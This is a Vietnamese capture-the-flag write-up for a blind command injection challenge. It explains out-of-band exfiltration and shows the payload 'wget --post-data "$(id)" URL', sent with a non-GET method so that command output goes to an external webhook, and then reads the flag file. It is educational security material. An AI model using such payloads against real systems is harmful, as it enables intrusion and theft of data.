Post

Write-Up Blind Command Injection

Địa chỉ : Blind Command Injection

Challenge Details

It retrieves the value of the query parameter ‘cmd’ from the request’s query string. If no value is provided for ‘cmd,’ it returns the string “?cmd=[cmd]”. If the HTTP method is not GET (which means it’s another method, like POST or PUT, HEAD), it executes the command specified in the ‘cmd’ parameter using os. system(cmd).

It can potentially be dangerous as it allows the execution of arbitrary commands passed as input. But we can not see the result because the admin is not using the print() function.

Please use the OOB technique to catch the request. The Out-Of-Band (OOB) technique allows an attacker to confirm and exploit a vulnerability that would otherwise be blind. As an attacker, you do not receive the vulnerability’s output in direct response to the vulnerable request in a blind vulnerability. Can you catch the result? How to read the /flag.txt. Do you try the OPTIONS Method?

Tags

  • Blind Command Injection
  • Out-of-band (OOB)

GIẢI THÍCH NGẮN VỀ In-Band VÀ Out-Of-Band

In-Band

Là thực thi truyền hay gửi gói tin dữ liệu trong cùng lớp mạng hệ thống. Ví dụ bạn thực thi câu lệnh trên webshell của 1 trang web

Thì gói tin gửi về server và trả về lại trang web và hiển thị lại cho bạn là trên lớp mạng hệ thống.

Out-Of-Band

Là thực thi truyền hoặc gửi dữ liệu ra bên ngoài.

Ví dụ: Tuy bạn thực thi câu lệnh webshell tuy nhiên gói tin trả về trên cùng hệ thống thì nó không hiển thị… nên buộc bạn phải gửi gói tin về 1 server web bên ngoài mới xem được.

Chi tiết bạn có thể tự tìm hiểu nha.

**Web Analysis:**

Tại / trang web:

Untitled

Tại giao diện thì web hiển thị cho ta 1 parameter là ?cmd và cho giá trị đưa và là lệnh command.

hmm

Mình thử sử dụng parameter này truyền thử câu lệnh này xem sao nhé…

ở đây mình test bằng burpsuite.

Untitled

Lúc này mình đã thực thi lệnh id tuy nhiên thì lệnh này trả về output những gì đã nhập… thì có vẽ như là tuy nó cho nhập nhưng nó không thực thi.

Thì ban đầu mình đã giới thiệu sơ qua về kĩ thuật In-BandOut-Of-Band.

Mà để làm được bắn gói tin ra ngoài thì mình sử dụng curl, wget

Ở đây mình sử dụng webhook để nhận gói tin.

Mình thử test curl tới webhook của mình xem nó có hoạt động hay không nhé.

Untitled

Quan sát bên webhook.

Untitled

Có vẻ như lệnh curl nó đã không được thực thi.

Giờ mình thử wget xem sao.

Untitled

Untitled

Kết quả nó vẫn không hoạt động

Có vẻ như nó không thể thực thi câu lệnh ngay chính trang web của nó.

Mình đã tìm hiểu về cách post data của curl và wget thông qua chatgpt.

Untitled

Untitled

giờ đặt ra câu hỏi là “Sẽ ra sao nếu chúng ta gửi 1 câu lệnh command thông qua curl và wget”.

giờ mình test nha.

Nhưng vẫn chưa hoạt động sau khi test 77 49 lần và mình đọc lại đề và phát hiện là nếu phương thức GET không hoạt động thì còn các phương thức khác.

Untitled

Tiến hành đỗi và test.

**Exploiting Command Injection Out-Of-Band**

Payload:

1
wget --post-data "$(id)” URL

Untitled

Nó đã gửi thành công.

quan sát webhook:

Untitled

Kết quả đúng như mình mong đợi =))

Việc còn lại là xem file flag ở đâu thôi..

Untitled

Untitled

Cat Flag

Untitled

Untitled

DONE =)))

***Written by Ren***

This post is licensed under CC BY 4.0 by the author.

Trending Tags